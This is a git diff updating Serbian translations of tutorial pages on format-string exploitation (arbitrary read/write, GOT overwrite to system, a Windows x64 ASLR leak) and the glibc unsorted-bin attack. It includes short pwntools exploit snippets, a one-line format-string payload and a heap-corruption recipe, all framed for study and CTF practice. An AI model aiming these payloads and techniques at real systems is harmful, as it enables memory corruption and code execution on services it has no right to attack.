Translated ['', 'src/binary-exploitation/stack-overflow/README.md', 'src

src/binary-exploitation/format-strings/README.md

@@ -5,13 +5,13 @@
 
 ## Osnovne informacije
 
-U C-u **`printf`** je funkcija koja se može koristiti za **ispis** stringa. Prvi **parametar** koji ova funkcija očekuje je **sirovi tekst sa formatterima**. Sledeći **parametri** su **vrednosti** koje će **zameniti** formattere iz sirovog teksta.
+U C **`printf`** je funkcija koja može da se koristi za **ispis** niza znakova. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
 
 Ostale ranjive funkcije su **`sprintf()`** i **`fprintf()`**.
 
-Ranljivost nastaje kada se kao **prvi argument** ovoj funkciji prosledi tekst koji kontroliše napadač. Napadač može da kreira **poseban ulaz koji zloupotrebljava** **printf format** string mogućnosti da pročita i **zapiše bilo koje podatke na bilo kojoj adresi (može se čitati/pisati)**. Na taj način se može postići **izvršavanje proizvoljnog koda**.
+Ranljivost se pojavljuje kada se kao **prvi argument koristi tekst napadača** za ovu funkciju. Napadač će moći da kreira **poseban unos koji zloupotrebljava** mogućnosti **printf format** stringa da čita i **piše bilo koje podatke na bilo koju adresu (readable/writable)**. Na ovaj način može **izvršiti proizvoljan kod**.
 
-#### Formateri:
+#### Format specifieri:
 ```bash
 %08x —> 8 hex bytes
 %d —> Entire
@@ -30,7 +30,7 @@ char buffer[30];
 gets(buffer);  // Dangerous: takes user input without restrictions.
 printf(buffer);  // If buffer contains "%x", it reads from the stack.
 ```
-- Uobičajena upotreba:
+- Normalna upotreba:
 ```c
 int value = 1205;
 printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
@@ -52,28 +52,28 @@ fclose(output_file);
 return 0;
 }
 ```
-### **Pristupanje pokazivačima**
+### **Pristup pokazivačima**
 
-Format **`%<n>$x`**, gde je `n` broj, omogućava printf-u da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate četvrti parametar sa steka koristeći printf, možete uraditi:
+Format **`%<n>$x`**, gde je `n` broj, omogućava printf-u da odabere n-ti parametar (from the stack). Dakle, ako želite da pročitate 4. parametar sa stack-a koristeći printf, možete uraditi:
 ```c
 printf("%x %x %x %x")
 ```
-i pročitao bi od prvog do četvrtog parametra.
+i pročitali biste od prvog do četvrtog parametra.
 
-Ili možete uraditi:
+Ili biste mogli uraditi:
 ```c
 printf("%4$x")
 ```
-i direktno pročitati četvrtu poziciju.
+i direktno pročitati četvrti.
 
-Primetite da napadač kontroliše `printf` **parametar, što u suštini znači da** njegov unos će biti u stacku kada se `printf` pozove, što znači da bi mogao upisati specifične memorijske adrese u stack.
+Obratite pažnju da napadač kontroliše `printf` **parametar, što u suštini znači da** njegov ulaz će biti u stack-u kada se pozove `printf`, što znači da bi mogao upisati specifične memory addresses u stacku.
 
 > [!CAUTION]
-> Napadač koji kontroliše ovaj unos biće u mogućnosti da **doda proizvoljne adrese u stack i natera `printf` da im pristupi**. U narednom odeljku biće objašnjeno kako iskoristiti ovo ponašanje.
+> Napadač koji kontroliše ovaj ulaz biće u mogućnosti da **add arbitrary address in the stack and make `printf` access them**. U sledećem odeljku biće objašnjeno kako iskoristiti ovo ponašanje.
 
 ## **Arbitrary Read**
 
-Moguće je koristiti formatter **`%n$s`** da se natera **`printf`** da uzme **adresu** koja se nalazi na **n-toj poziciji**, da joj pristupi i **ispise je kao da je string** (ispisuje dok se ne naiđe na 0x00). Dakle, ako je baza binarnog fajla **`0x8048000`**, i znamo da korisnički unos počinje na 4. poziciji na stacku, moguće je ispisati početak binarija sa:
+Moguće je koristiti formatter **`%n$s`** da natera **`printf`** da pročita **address** koji se nalazi na **n poziciji**, sledi ga i **odštampa kao da je string** (štampa dok se ne naiđe na 0x00). Dakle, ako je base address of the binary **`0x8048000`**, i znamo da user input počinje na 4. poziciji u stack-u, moguće je odštampati početak binary-a sa:
 ```python
 from pwn import *
 
@@ -87,11 +87,11 @@ p.sendline(payload)
 log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
 ```
 > [!CAUTION]
-> Imajte na umu da ne možete staviti adresu 0x8048000 na početak inputa jer će string biti cat u 0x00 na kraju te adrese.
+> Imajte na umu da ne možete staviti adresu 0x8048000 na početak unosa jer će string biti prekinut na 0x00 na kraju te adrese.
 
 ### Pronađite offset
 
-Da biste pronašli offset do vašeg inputa, možete poslati 4 ili 8 bajtova (`0x41414141`) praćeno sa **`%1$x`** i **povećavati** vrednost dok ne dobijete `A's`.
+Da biste pronašli offset do vašeg unosa, možete poslati 4 ili 8 bajta (`0x41414141`) praćena sa **`%1$x`** i **povećavati** vrednost dok ne dobijete `A's`.
 
 <details>
 
@@ -130,50 +130,50 @@ p.close()
 
 Arbitrary reads mogu biti korisni za:
 
-- **Dump** the **binary** iz memorije
-- **Pristup specifičnim delovima memorije gde se čuva osetljiva** **info** (kao što su canaries, encryption keys ili custom passwords kao u ovom [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
+- **Dump** the **binary** from memory
+- **Pristup određenim delovima memory gde se čuva osetljiva** **info** (kao canaries, encryption keys ili custom passwords kao u ovom [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
 
 ## **Arbitrary Write**
 
-Formatter **`%<num>$n`** **upisuje** **broj napisanih bajtova** u **naznačenu adresu** preko <num> parametra na steku. Ako napadač može da upiše proizvoljan broj karaktera pomoću printf, moći će da natera **`%<num>$n`** da upiše proizvoljan broj u proizvoljnu adresu.
+Formatter **`%<num>$n`** **upisuje** **broj napisanih bajtova** u **označenu adresu** u <num> parametru na stack-u. Ako attacker može da napiše proizvoljan broj char-ova pomoću printf, biće u stanju da natera **`%<num>$n`** da upiše proizvoljan broj na proizvoljnu adresu.
 
-Srećom, da biste upisali broj 9999 nije potrebno dodavati 9999 "A"-ova u input; umesto toga moguće je koristiti formatter **`%.<num-write>%<num>$n`** da se upiše broj **`<num-write>`** u **adresu na koju pokazuje pozicija `num`**.
+Srećom, da bi se upisao broj 9999, nije potrebno dodavati 9999 "A"-ova u input; umesto toga moguće je koristiti formatter **`%.<num-write>%<num>$n`** da se upiše broj **`<num-write>`** u **adresu na koju pokazuje pozicija `num`**.
 ```bash
 AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
 AAAA.%500\$08x —> Param at offset 500
 ```
-Međutim, imajte na umu da se obično, da bi se upisala adresa kao što je `0x08049724` (što je OGROMAN broj za upis odjednom), koristi **$hn** umesto **$n**. To omogućava da se napišu **samo 2 bajta**. Stoga se ova operacija obavlja dvaput: jednom za najviša 2B adrese i drugi put za najniže.
+Imajte na umu da se obično, da bi se upisala adresa kao što je `0x08049724` (što je OGROMAN broj za upis odjednom), umesto `$n` koristi **`$hn`**. To omogućava da se **upišu samo 2 bajta**. Zbog toga se operacija izvodi dva puta: jednom za gornja 2B adrese i drugi put za donja.
 
 Dakle, ova ranjivost omogućava da se **upiše bilo šta na bilo koju adresu (arbitrary write).**
 
-U ovom primeru, cilj će biti da se **prepiše** **adresa** neke **funkcije** u **GOT** tabeli koja će biti pozvana kasnije. Iako bi se ovo moglo zloupotrebiti i drugim arbitrary write to exec tehnikama:
+U ovom primeru cilj će biti da se **prepiše** **adresa** funkcije u **GOT** tabeli koja će biti pozvana kasnije. Iako bi se za ovo mogle iskoristiti i druge arbitrary write to exec tehnike:
 
 
 {{#ref}}
 ../arbitrary-write-2-exec/
 {{#endref}}
 
-Preći ćemo na **prepisivanje** **funkcije** koja **prima** svoje **argumente** od **korisnika** i usmeriti je na **`system`** **funkciju**.\
-Kao što je pomenuto, za upis adrese obično su potrebna 2 koraka: prvo se **upišu 2 bajta** adrese, a zatim i preostala 2. Za to se koristi **`$hn`**.
+Prepišemo funkciju koja prima argumente od korisnika i usmerimo je na `system` funkciju.\
+Kao što je pomenuto, za upis adrese obično su potrebna 2 koraka: prvo se upišu 2 bajta adrese, a zatim druga 2. Za to se koristi **`$hn`**.
 
-- **HOB** se odnosi na 2 najviša bajta adrese
-- **LOB** se odnosi na 2 najniža bajta adrese
+- **HOB** se odnosi na 2 viša bajta adrese
+- **LOB** se odnosi na 2 niža bajta adrese
 
-Zatim, zbog načina na koji format string funkcioniše, potrebno je prvo **upisati manji** od [HOB, LOB] i zatim drugi.
+Zatim, zbog načina na koji format string radi, prvo treba upisati manji od \[HOB, LOB] a zatim drugi.
 
-Ako je HOB < LOB\
+If HOB < LOB\
 `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
 
-Ako je HOB > LOB\
+If HOB > LOB\
 `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
 
 HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
 ```bash
 python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
 ```
-### Pwntools šablon
+### Pwntools predložak
 
-Možete pronaći **šablon** za pripremu exploit-a za ovu vrstu ranjivosti u:
+Možete pronaći **predložak** za pripremu exploit-a za ovu vrstu ranjivosti u:
 
 
 {{#ref}}
@@ -199,25 +199,25 @@ p.sendline('/bin/sh')
 
 p.interactive()
 ```
-## Format Strings to BOF
+## Format Strings u BOF
 
-Moguće je zloupotrebiti write akcije format string ranjivosti da se **upiše u adrese stack-a** i iskoristi tip ranjivosti **buffer overflow**.
+Moguće je zloupotrebiti write akcije format string ranjivosti kako bi se izvršio **write in addresses of the stack** i iskoristio **buffer overflow** tip ranjivosti.
 
 
-## Windows x64: Format-string leak to bypass ASLR (no varargs)
+## Windows x64: Format-string leak za zaobilaženje ASLR (no varargs)
 
-Na Windows x64 prva četiri integer/pointer parametra se prosleđuju u registrima: RCX, RDX, R8, R9. U mnogim buggy call-sites string kojim upravlja napadač koristi se kao format argument, ali nisu prosleđeni variadic arguments, na primer:
+Na Windows x64 prva četiri integer/pointer parametra se prosleđuju u registre: RCX, RDX, R8, R9. U mnogim buggy call-site-ovima niz koji kontroliše napadač koristi se kao format argument, ali nijedni varargs nisu prosleđeni, na primer:
 ```c
 // keyData is fully controlled by the client
 // _snprintf(dst, len, fmt, ...)
 _snprintf(keyStringBuffer, 0xff2, (char*)keyData);
 ```
-Pošto se ne prosleđuju varargs, bilo koja konverzija poput "%p", "%x", "%s" nateraće CRT da pročita sledeći variadic argument iz odgovarajućeg registra. Sa Microsoft x64 calling convention prvi takav read za "%p" dolazi iz R9. Bilo koja tranzijentna vrednost koja se nalazi u R9 na mestu poziva biće odštampana. U praksi ovo često leaks a stable in-module pointer (npr. pokazivač na lokalni/globalni objekat ranije postavljen u R9 od strane okolnog koda ili callee-saved vrednosti), koji se može iskoristiti za povraćaj module base i zaobilaženje ASLR.
+Pošto se ne prosleđuju varargs, bilo koja konverzija kao što su "%p", "%x", "%s" nateraće CRT da pročita sledeći variadic argument iz odgovarajućeg registra. Sa Microsoft x64 calling convention prvo takvo čitanje za "%p" dolazi iz R9. Bilo koja privremena vrednost koja se nalazi u R9 na mestu poziva biće odštampana. U praksi to često izaziva leak stabilnog in-module pointera (npr. pointer na lokalni/globalni objekat prethodno postavljen u R9 od strane okolnog koda ili vrednost sačuvana po pozivatelju), koji se može koristiti za oporavak module base i obilaženje ASLR.
 
-Praktičan workflow:
+Praktični tok rada:
 
 - Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
-- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as `leak - known_offset`.
+- Zabeleži the leaked pointer, identifikuj statički offset tog objekta unutar modula (by reversing once with symbols or a local copy), i oporavi image base kao `leak - known_offset`.
 - Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
 
 Example (abbreviated python):
@@ -232,26 +232,27 @@ leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
 base   = leaked - 0x20660                     # module base = leak - offset
 print(hex(leaked), hex(base))
 ```
-Napomene:
-- Tačan offset koji treba oduzeti se pronađe jednom tokom lokalnog reversing-a i zatim se ponovo koristi (isti binary/version).
-- Ako "%p" ne ispiše validan pointer pri prvom pokušaju, probajte druge specifiers ("%llx", "%s") ili višestruke konverzije ("%p %p %p") da biste uzorkovali druge argument registers/stack.
-- Ovaj obrazac je specifičan za Windows x64 calling convention i printf-family implementacije koje dohvataju nepostojeće varargs iz registers kada format string to zahteva.
+Beleške:
+- Tačan offset koji treba oduzeti se pronađe jednom tokom local reversing i zatim se ponovo koristi (isti binary/version).
+- Ako "%p" ne ispiše validan pointer pri prvom pokušaju, probajte druge specifiere ("%llx", "%s") ili više konverzija ("%p %p %p") da biste uzorkovali druge argument registers/stack.
+- Ovaj obrazac je specifičan za Windows x64 calling convention i printf-family implementacije koje uzimaju nepostojeće varargs iz registara kada ih format string zahteva.
 
-Ova tehnika je izuzetno korisna za bootstrap ROP na Windows services koje su kompajlirane sa ASLR i bez očiglednih memory disclosure primitives.
+Ova tehnika je izuzetno korisna za bootstrap ROP na Windows servisima kompajliranim sa ASLR i bez očiglednih memory disclosure primitives.
 
-## Drugi primeri & reference
+## Ostali primeri & reference
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
 - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
 - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
-- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
+- 32 bit, no relro, no canary, nx, no pie, osnovna upotreba format strings za leak the flag sa stack-a (no need to alter the execution flow)
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
-- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
+- 32 bit, relro, no canary, nx, no pie, format string za overwrite adresu `fflush` sa win funkcijom (ret2win)
 - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
-- 32 bit, relro, no canary, nx, no pie, format string za upis adrese unutar main u `.fini_array` (tako da tok izvršavanja napravi još jedno vraćanje) i upis adrese u `system` u GOT tabelu koja pokazuje na `strlen`. Kada tok izvršavanja ponovo ode u main, `strlen` se izvršava sa korisničkim inputom i, pošto pokazuje na `system`, izvršiće prosleđene komande.
+- 32 bit, relro, no canary, nx, no pie, format string za upis adrese unutar main u `.fini_array` (tako da se flow vrati još 1 put) i za upis adrese `system` u GOT tabelu koja trenutno pokazuje na `strlen`. Kada se flow vrati u main, `strlen` će biti izvršen sa korisničkim inputom i, pošto pokazuje na `system`, izvršiće prosleđene komande.
 
-## References
+
+## Reference
 
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
 - [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)

src/binary-exploitation/libc-heap/unsorted-bin-attack.md

@@ -11,63 +11,63 @@ Za više informacija o tome šta je unsorted bin pogledajte ovu stranicu:
 bins-and-memory-allocations.md
 {{#endref}}
 
-Unsorted liste mogu da upišu adresu u `unsorted_chunks (av)` u `bk` adresu chunk‑a. Dakle, ako napadač može **izmeniti adresu `bk` pokazivača** u chunk‑u unutar unsorted bin, mogao bi biti u mogućnosti da **upiše tu adresu na proizvoljnu lokaciju**, što može pomoći da se leak Glibc adresa ili da se zaobiđu neke odbrane.
+Unsorted lists mogu upisati adresu `unsorted_chunks (av)` u `bk` polje chanka. Dakle, ako napadač može **izmeniti adresu `bk` pokazivača** u chunk-u koji se nalazi u unsorted bin, mogao bi biti u mogućnosti da **upise tu adresu na proizvoljnu adresu**, što može pomoći da se leak-uje Glibc adresa ili zaobiđu neke zaštite.
 
-Dakle, u suštini, ovaj napad omogućava da se **postavi veliki broj na proizvoljnu adresu**. Taj veliki broj je adresa, koja može biti heap adresa ili Glibc adresa. Tradicionalni cilj je bio **`global_max_fast`** kako bi se omogućilo kreiranje fast bin‑ova sa većim veličinama (i prelazak iz unsorted bin napada u fast bin napad).
+Dakle, u suštini, ovaj napad omogućava da se **postavi veliki broj na proizvoljnu adresu**. Taj veliki broj je adresa, koja može biti heap adresa ili Glibc adresa. Tradicionalni cilj je bio **`global_max_fast`** da bi se omogućilo kreiranje fast bin-ova većih veličina (i preći iz unsorted bin attack u fast bin attack).
 
-- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive.
+- Moderno zabeleška (glibc ≥ 2.39): `global_max_fast` je postao 8‑bitni global. Besciljno upisivanje pokazivača tamo preko unsorted-bin write će prebrisati susedne podatke u libc-u i više neće pouzdano podići limit fastbina. Preferirajte druge ciljeve ili druge primitive protiv glibc 2.39+. Pogledajte "Modern constraints" ispod i razmotrite kombinovanje sa drugim tehnikama kao što su [large bin attack](large-bin-attack.md) ili [fast bin attack](fast-bin-attack.md) kad imate stabilnu primitivu.
 
 > [!TIP]
-> T> Ako pogledate primer dat na [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) i koristite 0x4000 i 0x5000 umesto 0x400 i 0x500 kao veličine chunk‑ova (da izbegnete Tcache), može se videti da se **sada** javlja greška **`malloc(): unsorted double linked list corrupted`**.
+> T> Uzimajući u obzir primer iz [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) i koristeći 0x4000 i 0x5000 umesto 0x400 i 0x500 kao veličine chunk-ova (da biste izbegli Tcache) moguće je videti da **sada** greška **`malloc(): unsorted double linked list corrupted`** biva pokrenuta.
 >
-> Dakle, ovaj unsorted bin napad sada (pored drugih provera) takođe zahteva mogućnost da se ispravi dvostruko povezani spisak da bi se zaobišle provere `victim->bk->fd == victim` ili `victim->fd == av (arena)`, što znači da adresa na koju želimo da upišemo mora imati adresu lažnog chunk‑a u svojoj `fd` poziciji i da lažni chunk‑ov `fd` pokazuje na arena.
+> Dakle, ovaj unsorted bin attack sada (između ostalih provera) takođe zahteva da se dvostruko vezana lista može popraviti da bi se izbeglo abortovanje `victim->bk->fd == victim` ili `victim->fd == av (arena)`, što znači da adresa na koju želimo da upišemo mora imati adresu lažnog chanka na svojoj `fd` poziciji i da lažni chunk `fd` pokazuje na arena.
 
 > [!CAUTION]
-> Imajte na umu da ovaj napad korumpira unsorted bin (a time i small i large). Zato sada možemo da **koristimo samo alokacije iz fast bin‑a** (komplikovaniji program može uraditi druge alokacije i srušiti se), i da bismo ovo pokrenuli moramo **alokirati istu veličinu ili će program puknuti.**
+> Imajte na umu da ovaj napad korumpira unsorted bin (a time i small i large). Dakle sada možemo koristiti samo alokacije iz fast bin-a (kompleksniji program može izvršiti druge alokacije i srušiti se), i da bismo to pokrenuli moramo alocirati istu veličinu ili će se program srušiti.
 >
-> Takođe, prepisivanje **`global_max_fast`** može pomoći u ovom slučaju ukoliko se veruje da će fast bin uspeti da opsluži sve ostale alokacije dok exploit ne bude završen.
+> Imajte na umu da prepisivanje **`global_max_fast`** može pomoći u ovom slučaju uz verovanje da će fast bin moći da se pozabavi svim ostalim alokacijama dok exploit ne bude završen.
 
-Kod od [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) to vrlo dobro objašnjava, i ipak ako modifikujete malloc pozive da alociraju memoriju dovoljno veliku da ne završe u Tcache, možete videti da se ranije pomenuta greška pojavljuje i onemogućava ovu tehniku: **`malloc(): unsorted double linked list corrupted`**
+Kod od [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) to vrlo dobro objašnjava, mada ako modifikujete malloc-ove da alociraju memoriju dovoljno veliku da ne završe u Tcache, možete videti da se pojavljuje ranije pomenuta greška koja ovu tehniku onemogućava: **`malloc(): unsorted double linked list corrupted`**
 
-### Kako se upis zapravo dešava
+### Kako se zapravo vrši upis
 
-- Unsorted‑bin upis se aktivira pri `free` kada se oslobođeni chunk umetne na početak unsorted liste.
-- Tokom umetanja, alokator izvršava `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
-- Ako možete postaviti `victim->bk` na `(mchunkptr)(TARGET - 0x10)` pre nego što pozovete `free(victim)`, finalna naredba će izvršiti upis: `*(TARGET) = victim`.
-- Kasnije, kada alokator procesuira unsorted bin, integritet provere će verificirati (između ostalog) da je `bck->fd == victim` i `victim->fd == unsorted_chunks(av)` pre nego što uradi unlink. Pošto je umetanje već upisalo `victim` u `bck->fd` (naš `TARGET`), ove provere mogu biti zadovoljene ako je upis uspeo.
+- The unsorted-bin write se pokreće pri `free` kada se oslobođeni chunk ubacuje na početak unsorted liste.
+- Tokom umetanja, allocator izvršava `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
+- Ako možete podesiti `victim->bk` na `(mchunkptr)(TARGET - 0x10)` pre poziva `free(victim)`, poslednja naredba će izvršiti upis: `*(TARGET) = victim`.
+- Kasnije, kada allocator procesuira unsorted bin, integritet provere će potvrditi (između ostalog) da je `bck->fd == victim` i `victim->fd == unsorted_chunks(av)` pre unlink-ovanja. Pošto je umetanje već upisalo `victim` u `bck->fd` (naš `TARGET`), ove provere mogu biti zadovoljene ako je upis uspeo.
 
-## Savremena ograničenja (glibc ≥ 2.33)
+## Moderni zahtevi (glibc ≥ 2.33)
 
-Da biste pouzdano koristili unsorted‑bin upise na trenutnim glibc verzijama:
+Da biste pouzdano koristili unsorted‑bin writes na savremenom glibc:
 
-- Interferencija tcache‑a: za veličine koje spadaju u tcache, free pozivi se preusmeravaju tamo i neće dotaknuti unsorted bin. Ili:
+- Tcache interferencija: za veličine koje spadaju u tcache, free-ovi su preusmereni tamo i neće dotaknuti unsorted bin. Ili
   - pravite zahteve sa veličinama > MAX_TCACHE_SIZE (≥ 0x410 na 64‑bit po defaultu), ili
-  - napunite odgovarajući tcache bin (7 unosa) tako da dodatni free‑ovi dospeju do globalnih binova, ili
-  - ako je okruženje kontrolisano, onemogućite tcache (npr. GLIBC_TUNABLES glibc.malloc.tcache_count=0).
-- Provere integriteta na unsorted listi: pri sledećem putu alokacije koji pregleda unsorted bin, glibc proverava (pojednostavljeno):
-  - `bck->fd == victim` i `victim->fd == unsorted_chunks(av)`; u suprotnom abortira sa `malloc(): unsorted double linked list corrupted`.
-- To znači da adresa koju ciljate mora podneti dva upisa: prvo `*(TARGET) = victim` u vreme free‑a; kasnije, dok se chunk uklanja, `*(TARGET) = unsorted_chunks(av)` (alokator ponovo upisuje `bck->fd` nazad na glavu binga). Birajte ciljeve gde jednostavno forsiranje velike nenultе vrednosti ima smisla.
-- Tipični stabilni ciljevi u modernim exploitima:
-  - Stanje aplikacije ili globalno stanje koje tretira "velike" vrednosti kao zastavice/limite.
-  - Indirektni primitivи (npr. priprema za naknadni [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) ili da se pivotira kasniji write‑what‑where).
+  - napunite odgovarajući tcache bin (7 unosa) tako da dodatni free-ovi dosegnu global bins, ili
+  - ako je okruženje podesivo, onemogućite tcache (npr. GLIBC_TUNABLES glibc.malloc.tcache_count=0).
+- Integritet provere na unsorted listi: na sledećem putu alokacije koji pregleda unsorted bin, glibc proverava (pojednostavljeno):
+  - `bck->fd == victim` i `victim->fd == unsorted_chunks(av)`; u suprotnom abortuje sa `malloc(): unsorted double linked list corrupted`.
+- To znači da adresa koju ciljate mora podneti dva upisa: prvo `*(TARGET) = victim` pri free‑vremenu; kasnije, dok se chunk uklanja, `*(TARGET) = unsorted_chunks(av)` (allocator ponovo upisuje `bck->fd` nazad na bin head). Birajte ciljeve gde samo forsiranje velike nenulte vrednosti ima smisla.
+- Tipični stabilni ciljevi u modernim exploit-ima
+  - Stanje aplikacije ili globalno stanje koje tretira "velike" vrednosti kao flags/limits.
+  - Indirektne primitive (npr., priprema za naredni [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) ili za pivot kasnijeg write‑what‑where).
 - Izbegavajte `__malloc_hook`/`__free_hook` na novom glibc: uklonjeni su u 2.34. Izbegavajte `global_max_fast` na ≥ 2.39 (vidi sledeću napomenu).
-- O `global_max_fast` na novijim glibc:
-  - Na glibc 2.39+, `global_max_fast` je 8‑bitna globalna promenljiva. Klasičan trik upisa heap pokazivača u nju (da bi se povećali fastbin‑i) više ne funkcioniše čisto i verovatno će korumpirati susedno stanje alokatora. Preferirajte druge strategije.
+- O `global_max_fast` na novijim glibc verzijama
+  - Na glibc 2.39+, `global_max_fast` je 8‑bitni global. Klasičan trik upisivanja heap pokazivača u njega (da bi se uvećali fastbin-ovi) više ne radi čisto i verovatno će korumpirati susedno stanje allocator‑a. Preferirajte druge strategije.
 
-## Minimalni recept za eksploataciju (moderni glibc)
+## Minimalni recept za exploit (moderni glibc)
 
-Cilj: postići jedan proizvoljan upis heap pokazivača na proizvoljnu adresu koristeći unsorted‑bin insertion primitiv, bez pada programa.
+Cilj: ostvariti jedan arbitrarni upis heap pointer-a na proizvoljnu adresu koristeći unsorted‑bin insertion primitive, bez rušenja.
 
-- Raspored / priprema
-  - Alocirajte A, B, C sa veličinama dovoljno velikim da zaobiđu tcache (npr. 0x5000). C sprečava konsolidaciju sa top chunk‑om.
-- Korupcija
-  - Overflow iz A u B‑jev chunk header da se postavi `B->bk = (mchunkptr)(TARGET - 0x10)`.
-- Okidač
-  - `free(B)`. U vreme umetanja alokator izvršava `bck->fd = B`, dakle `*(TARGET) = B`.
-- Nastavak
-  - Ako planirate da nastavite sa alokacijama i program koristi unsorted bin, očekujte da će alokator kasnije postaviti `*(TARGET) = unsorted_chunks(av)`. Obe vrednosti su tipično velike i mogu biti dovoljne da promene semantiku veličine/limita u ciljevima koji samo proveravaju da li je vrednost "velika".
+- Layout/grooming
+  - Alocirajte A, B, C veličina dovoljno velikih da zaobiđu tcache (npr. 0x5000). C sprečava konsolidaciju sa top chunk-om.
+- Corruption
+  - Overflow iz A u B‑ev chunk header da se postavi `B->bk = (mchunkptr)(TARGET - 0x10)`.
+- Trigger
+  - `free(B)`. U trenutku umetanja allocator izvršava `bck->fd = B`, dakle `*(TARGET) = B`.
+- Continuation
+  - Ako planirate da nastavite sa alokacijama i program koristi unsorted bin, očekujte da će allocator kasnije postaviti `*(TARGET) = unsorted_chunks(av)`. Obe vrednosti su tipično velike i mogu biti dovoljne da promene semantiku veličine/limita za ciljeve koji samo proveravaju "veliko".
 
-Pseudokod skelet:
+Skelet pseudokoda:
 ```c
 // 64-bit glibc 2.35–2.38 style layout (tcache bypass via large sizes)
 void *A = malloc(0x5000);
@@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard
 free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
 ```
 > [!NOTE]
-> • Ako ne možete да заобиђете tcache помоћу величине, попуните tcache bin за изабрану величину (7 frees) пре него што ослободите corrupted chunk тако да free иде у unsorted.
-> • Ако програм одмах abort-ује при следећој алокацији због unsorted-bin checks, поново проверите да ли `victim->fd` и даље једнако вреди као bin head и да ли ваш `TARGET` држи тачан `victim` pointer након првог write-а.
+> • Ako ne možete zaobići tcache preko veličine, napunite tcache bin za izabranu veličinu (7 frees) pre nego što oslobodite korumpirani chunk, tako da free ode u unsorted.
+> • Ako program odmah abortira pri sledećoj alokaciji zbog unsorted-bin checks, ponovo proverite da li `victim->fd` i dalje jednak bin head-u i da li vaš `TARGET` drži tačan `victim` pokazivač nakon prvog upisa.
 
 ## Unsorted Bin Infoleak Attack
 
-This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
-Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
+Ovo je zapravo vrlo osnovan koncept. Chunk-ovi u unsorted bin-u će imati pokazivače. Prvi chunk u unsorted bin-u će zapravo imati **`fd`** i **`bk`** linkove **koji pokazuju na deo main arena (Glibc)**.\
+Dakle, ako možete **staviti chunk u unsorted bin i pročitati ga** (use after free) ili **ponovo ga alocirati bez prepisivanja bar jednog od pokazivača** i onda ga **pročitati**, možete dobiti **Glibc info leak**.
 
-A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
